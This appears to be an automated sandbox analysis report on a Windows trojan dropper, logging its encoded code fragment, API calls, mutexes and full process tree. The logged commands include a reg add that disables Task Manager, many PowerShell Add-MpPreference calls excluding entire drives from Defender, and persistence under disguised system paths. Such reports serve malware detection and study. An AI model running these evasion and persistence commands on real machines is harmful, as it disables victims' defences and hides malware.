uXLERADoFuEAAGiwK0MA6NnfAQBZw8zMzMzMzMzMzMy5eMVEAOjjSQAAaMArQwDoud8BAFnDzMzMzMzMzMzMzGjQK0MA6KPfAQBZw8zMzMxVi+yB7FgEAABTVleLfRSNtaj7//+7AAIAAIX/dEFTV4vGUOja9AAAi8ZQ6OMsAgBZjbWq+///jTRGjYWo+///i84ryIvD0fkrwVBXVuiw9AAAVui7LAIAWY00RoPGAo2FqPv//4vOK8iLw9H5K8FQaKMAAADondQAAFBW6IH0AABW6IwsAgBZjY2o+///jTRGg8YCi8YrwdH4K9hTaPA1QwBW6Fr0AABW6GUsAgAzyWpYZolMRgKNRaheVlFQ6C3uAQCLRQiDxBCKXRiLfRCJRayhKBBEAIlFsI2FqPv//4lFtItFDIlF2I1FqIl1qIl9xMdFyAAIAADHRdwMCAEAUITbdAj/FTwwRgDrBv8VRDBGAIvwhfZ1LP8VQDBGAD0CMAAAdR0zwGaJB41FqFCE23QI/xU8MEYA6wb/FUQwRgCL8IX2X14PlcBbycIUAFWL7IHsLAIAAI1F/FZQ/xWQMEYAhcB1YItFCDPJiUXcjYXU/f//iUXki0UMiUXojUXcUIlN4MdF7EEAAACJTfCJTfT/FYAwRgCL8IX2dClT/3UQVv8VhDBGAItN/IXAVlEPlcOLEYtyFIvO/xV4MkMA/9aKw1vrAjLAXsnCEADMzMIAAA+2RCQMUP90JAz/dCQM/xVgMUYAUP8VXDFGAMIMAA+2RCQM99gbwIPgCVD/dCQM/3QkDP8VYDFGAFD/FWwxRgDCDABVi+yDfQwwdFmBfQwQAQAAdV2KRSC5MBBEACQBD7bAUP91GP91COinzwAA9kUgAXQ+/3UI/xVUMUYAhcB0MWghMAAAUP8VYDFGAIXAdCH2RSAIdBto9DVDAFD/FVgxRgDrDf91CLkwEEQA6DzPAAAywF3CHABVi+yD7Ez/dQiNTbToKgIAAItN9IP5CHMKi0UMiUSNtP9F9I1NtOhIAgEAycIIAFb/dCQIi/EzwIkGiUYEiUYIiUYMiEYQ6FwDAACLxl7CBAC4NSZDAOiS1wEAUVFTVovxiXXw6GKBAAAz28cG+DVDAI2OOBAAAIld/OgtSgAAjY74IAAAxkX8AegnugAAjY6YIgAAiZ7oIQAAiZ7sIQAA6EoBAACNjuhFAADoPwEAAItNCIXJxkX8BA+UwIme1CEAAIiG0CEAAIXJdSNo8JIAAOjX1gEAWYlF7MZF/AWFwHQJi8jokaAAAOsGi8PrAovBiYbUIQAAioChcQAAg47YIQAA/4OO3CEAAP+DjuAhAAD/akCIRjCNhiAiAABTUMeGyGwAAAIAAACJnsxsAACJntBsAACJnthsAACJnug

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@116/168@1/2

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Code function: 2_2_00CC6C74 GetLastError,FormatMessageW,

2_2_00CC6C74

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe

3_2_00403640

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe

Code function: 3_2_00404AB5 GetDlgItem,SetWindowTextW,SHAutoComplete,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceExW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

3_2_00404AB5

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: OpenSCManagerW,CreateServiceW,CloseServiceHandle,GetLastError,GetLastError,CloseServiceHandle,GetLastError,	6_2_00007FF63D475A30
Source: C:\Program Files\Everything\Everything.exe	Code function: OpenSCManagerW,CreateServiceW,CloseServiceHandle,GetLastError,GetLastError,CloseServiceHandle,GetLastError,	7_2_00007FF728BB5A30
Source: C:\Program Files\Everything\Everything.exe	Code function: OpenSCManagerW,CreateServiceW,CloseServiceHandle,GetLastError,GetLastError,CloseServiceHandle,GetLastError,	10_2_00007FF728BB5A30

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe

Code function: 3_2_004021AA CoCreateInstance,

3_2_004021AA

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Code function: 2_2_00CDA6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

2_2_00CDA6C2

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe

Code function: 6_2_00007FF63D475670 StartServiceCtrlDispatcherW,

6_2_00007FF63D475670

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D475670 StartServiceCtrlDispatcherW,	6_2_00007FF63D475670
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BB5670 StartServiceCtrlDispatcherW,	7_2_00007FF728BB5670
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BB5670 StartServiceCtrlDispatcherW,	10_2_00007FF728BB5670

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe

File created: C:\Program Files\Everything

Jump to behavior

Source: C:\Users\user\Desktop\wxl1r0lntg.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v2.0

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2172:120:WilError_03
Source: C:\Program Files\Everything\Everything.exe	Mutant created: \Sessions\1\BaseNamedObjects\EVERYTHING_MUTEX
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7860:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1680:120:WilError_03
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-D9v2NJXg7O8XLMbKG3IO

Source: C:\Users\user\Desktop\wxl1r0lntg.exe

File created: C:\Users\user\AppData\Local\Temp\sqls211.exe

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2PE3PxTrTQg.bat" "

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Command line argument: sfxname	2_2_00CDDF1E
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Command line argument: sfxstime	2_2_00CDDF1E
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Command line argument: STARTDLG	2_2_00CDDF1E

Source: wxl1r0lntg.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: wxl1r0lntg.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\wxl1r0lntg.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\wxl1r0lntg.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wxl1r0lntg.exe

ReversingLabs: Detection: 73%

Source: Everything.exe	String found in binary or memory: -install-folder-context-menu
Source: Everything.exe	String found in binary or memory: -install-start-menu-shortcuts
Source: Everything.exe	String found in binary or memory: -install-start-menu-shortcuts
Source: Everything.exe	String found in binary or memory: -uninstall-start-menu-shortcuts
Source: Everything.exe	String found in binary or memory: -install "%s"
Source: Everything.exe	String found in binary or memory: -install-options "%s"
Source: Everything.exe	String found in binary or memory: -install-run-on-system-startup
Source: Everything.exe	String found in binary or memory: -install-run-on-system-startup
Source: Everything.exe	String found in binary or memory: -uninstall-run-on-system-startup
Source: Everything.exe	String found in binary or memory: -install-efu-association
Source: Everything.exe	String found in binary or memory: -save-install-options %u
Source: Everything.exe	String found in binary or memory: -install-language %d
Source: Everything.exe	String found in binary or memory: -stop-service
Source: Everything.exe	String found in binary or memory: -start-service
Source: Everything.exe	String found in binary or memory: -install-desktop-shortcut
Source: Everything.exe	String found in binary or memory: -install-url-protocol
Source: Everything.exe	String found in binary or memory: -stop-client-service
Source: Everything.exe	String found in binary or memory: -start-client-service
Source: Everything.exe	String found in binary or memory: -install-client-service
Source: Everything.exe	String found in binary or memory: -install-service
Source: Everything.exe	String found in binary or memory: -install-service-pipe-name "%s"
Source: Everything.exe	String found in binary or memory: -install-service-security-descriptor "%s"
Source: Everything.exe	String found in binary or memory: -install-service
Source: Everything.exe	String found in binary or memory: -install-service-pipe-name "%s"
Source: Everything.exe	String found in binary or memory: -install-service-security-descriptor "%s"
Source: Everything.exe	String found in binary or memory: -stop-client-service
Source: Everything.exe	String found in binary or memory: -start-client-service
Source: Everything.exe	String found in binary or memory: -install-client-service
Source: Everything.exe	String found in binary or memory: -install-url-protocol
Source: Everything.exe	String found in binary or memory: -install-efu-association
Source: Everything.exe	String found in binary or memory: -install-language %d
Source: Everything.exe	String found in binary or memory: -save-install-options %u
Source: Everything.exe	String found in binary or memory: -start-service
Source: Everything.exe	String found in binary or memory: -stop-service
Source: Everything.exe	String found in binary or memory: -install-run-on-system-startup
Source: Everything.exe	String found in binary or memory: -install-run-on-system-startup
Source: Everything.exe	String found in binary or memory: -uninstall-run-on-system-startup
Source: Everything.exe	String found in binary or memory: -install-folder-context-menu
Source: Everything.exe	String found in binary or memory: -install-start-menu-shortcuts
Source: Everything.exe	String found in binary or memory: -install-start-menu-shortcuts
Source: Everything.exe	String found in binary or memory: -uninstall-start-menu-shortcuts
Source: Everything.exe	String found in binary or memory: -install-desktop-shortcut
Source: Everything.exe	String found in binary or memory: -install-options "%s"
Source: Everything.exe	String found in binary or memory: -install "%s"
Source: Everything.exe	String found in binary or memory: -install-service
Source: Everything.exe	String found in binary or memory: -install-service-pipe-name "%s"
Source: Everything.exe	String found in binary or memory: -install-service-security-descriptor "%s"
Source: Everything.exe	String found in binary or memory: -stop-client-service
Source: Everything.exe	String found in binary or memory: -start-client-service
Source: Everything.exe	String found in binary or memory: -install-client-service
Source: Everything.exe	String found in binary or memory: -install-url-protocol
Source: Everything.exe	String found in binary or memory: -install-efu-association
Source: Everything.exe	String found in binary or memory: -install-language %d
Source: Everything.exe	String found in binary or memory: -save-install-options %u
Source: Everything.exe	String found in binary or memory: -start-service
Source: Everything.exe	String found in binary or memory: -stop-service
Source: Everything.exe	String found in binary or memory: -install-run-on-system-startup
Source: Everything.exe	String found in binary or memory: -install-run-on-system-startup
Source: Everything.exe	String found in binary or memory: -uninstall-run-on-system-startup
Source: Everything.exe	String found in binary or memory: -install-folder-context-menu
Source: Everything.exe	String found in binary or memory: -install-start-menu-shortcuts
Source: Everything.exe	String found in binary or memory: -install-start-menu-shortcuts
Source: Everything.exe	String found in binary or memory: -uninstall-start-menu-shortcuts
Source: Everything.exe	String found in binary or memory: -install-desktop-shortcut
Source: Everything.exe	String found in binary or memory: -install-options "%s"
Source: Everything.exe	String found in binary or memory: -install "%s"

Source: unknown	Process created: C:\Users\user\Desktop\wxl1r0lntg.exe "C:\Users\user\Desktop\wxl1r0lntg.exe"
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process created: C:\Users\user\AppData\Local\Temp\sqls211.exe "C:\Users\user\AppData\Local\Temp\sqls211.exe"
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process created: C:\Users\user\AppData\Local\Temp\drivEn760.exe "C:\Users\user\AppData\Local\Temp\drivEn760.exe"
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe"
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Process created: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe "C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe" -install "C:\Program Files\Everything" -install-options " -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0"
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Process created: C:\Program Files\Everything\Everything.exe "C:\Program Files\Everything\Everything.exe" -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0
Source: unknown	Process created: C:\Program Files\Everything\Everything.exe "C:\Program Files\Everything\Everything.exe" -svc
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Process created: C:\Program Files\Everything\Everything.exe "C:\Program Files\Everything\Everything.exe" -disable-update-notification -uninstall-quick-launch-shortcut -no-choose-volumes -language 1033
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2PE3PxTrTQg.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet/containerwebruntime.exe"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAD56.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSCCB61929627DF440F9E17C549CE99168.TMP"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Process created: C:\Program Files\Everything\Everything.exe "C:\Program Files\Everything\Everything.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAFE6.tmp" "c:\Windows\System32\CSCE2A537B39618441DAC64E34137FF17.TMP"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB66E.tmp" "c:\Program Files\Everything\CSCA17046CBF8B64A188168A4AB380809F.TMP"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\apppatch\CustomSDB\sihost.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\RuntimeBroker.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\KDhudFNWvk.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files\Everything\Everything.exe "C:\Program Files\Everything\Everything.exe" -startup
Source: C:\Program Files\Everything\Everything.exe	Process created: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe "C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Source: C:\Program Files\Everything\Everything.exe	Process created: C:\Program Files\Everything\Everything.exe.exe "C:\Program Files\Everything\Everything.exe.exe" -startup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe "C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe "C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\apppatch\CustomSDB\sihost.exe "C:\Windows\apppatch\CustomSDB\sihost.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe"
Source: unknown	Process created: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe "C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe "C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Source: unknown	Process created: C:\Windows\apppatch\CustomSDB\sihost.exe "C:\Windows\apppatch\CustomSDB\sihost.exe"
Source: unknown	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe "C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process created: C:\Users\user\AppData\Local\Temp\sqls211.exe "C:\Users\user\AppData\Local\Temp\sqls211.exe"	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process created: C:\Users\user\AppData\Local\Temp\drivEn760.exe "C:\Users\user\AppData\Local\Temp\drivEn760.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Process created: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe "C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe" -install "C:\Program Files\Everything" -install-options " -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Process created: C:\Program Files\Everything\Everything.exe "C:\Program Files\Everything\Everything.exe" -disable-update-notification -uninstall-quick-launch-shortcut -no-choose-volumes -language 1033	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Process created: C:\Program Files\Everything\Everything.exe "C:\Program Files\Everything\Everything.exe"	Jump to behavior
